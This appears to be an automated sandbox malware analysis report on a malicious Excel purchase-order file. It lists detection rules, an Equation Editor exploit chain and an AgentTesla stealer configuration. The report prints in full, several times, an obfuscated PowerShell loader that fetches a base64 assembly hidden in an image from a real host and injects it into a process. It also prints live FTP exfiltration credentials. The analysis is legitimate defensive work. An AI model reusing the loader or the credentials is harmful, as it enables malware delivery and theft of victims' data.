Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 41.216.183.13, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 2884, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49162

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 976, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js" , ProcessId: 2884, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 976, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js" , ProcessId: 2884, ProcessName: wscript.exe

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 41.216.183.13, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 2884, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49162

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe, QueryName: ip-api.com

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 976, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js" , ProcessId: 2884, ProcessName: wscript.exe

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 976, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2200, TargetFilename: C:\Users\user\AppData\Local\Temp\22ev4n4c.e1q.ps1

Snort Signatures

ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 3 M1 - Source IP: 192.3.243.156 - Destination IP: 192.168.2.22

Timestamp:	07/02/24-08:22:17.801189
SID:	2020425
Source Port:	80
Destination Port:	49167
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Malicious Base64 Encoded Payload In Image - Source IP: 41.216.183.13 - Destination IP: 192.168.2.22

Timestamp:	07/02/24-08:22:11.705623
SID:	2049038
Source Port:	80
Destination Port:	49162
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 3 M1 - Source IP: 192.3.243.156 - Destination IP: 192.168.2.22

Timestamp:	07/02/24-08:22:15.357221
SID:	2020425
Source Port:	80
Destination Port:	49164
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: orden de compra.xlam.xlsx

Avira: detected

Found malware configuration

Source: 8.2.AddInProcess32.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.horeca-bucuresti.ro", "Username": "americas2@horeca-bucuresti.ro", "Password": "H*TE9iL;x61m"}

Multi AV Scanner detection for domain / URL

Source: uploaddeimagens.com.br	Virustotal: Detection: 5%	Perma Link
Source: http://192.3.243.156/ourTraditionalbase.txt	Virustotal: Detection: 12%	Perma Link
Source: https://uploaddeimagens.com.br	Virustotal: Detection: 6%	Perma Link
Source: http://192.3.243.156	Virustotal: Detection: 10%	Perma Link
Source: https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235	Virustotal: Detection: 5%	Perma Link

Multi AV Scanner detection for submitted file

Source: orden de compra.xlam.xlsx	ReversingLabs: Detection: 68%
Source: orden de compra.xlam.xlsx	Virustotal: Detection: 47%			Perma Link

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 192.3.243.156 Port: 80

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49165 version: TLS 1.2

Source:

Binary string: RunPE.pdb source: powershell.exe, 00000006.00000002.478276037.0000000000270000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.482820667.00000000062C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.479060921.00000000025B5000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0352054E LoadLibraryW,	2_2_0352054E
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035205CF URLDownloadToFileW,ShellExecuteW,ExitProcess,	2_2_035205CF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035205FD ShellExecuteW,ExitProcess,	2_2_035205FD
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035205E8 ShellExecuteW,ExitProcess,	2_2_035205E8
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0352048F ExitProcess,	2_2_0352048F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03520622 ExitProcess,	2_2_03520622

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe

Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic	DNS query: name: uploaddeimagens.com.br
Source: global traffic	DNS query: name: ip-api.com
Source: global traffic	DNS query: name: ip-api.com

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.216.183.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
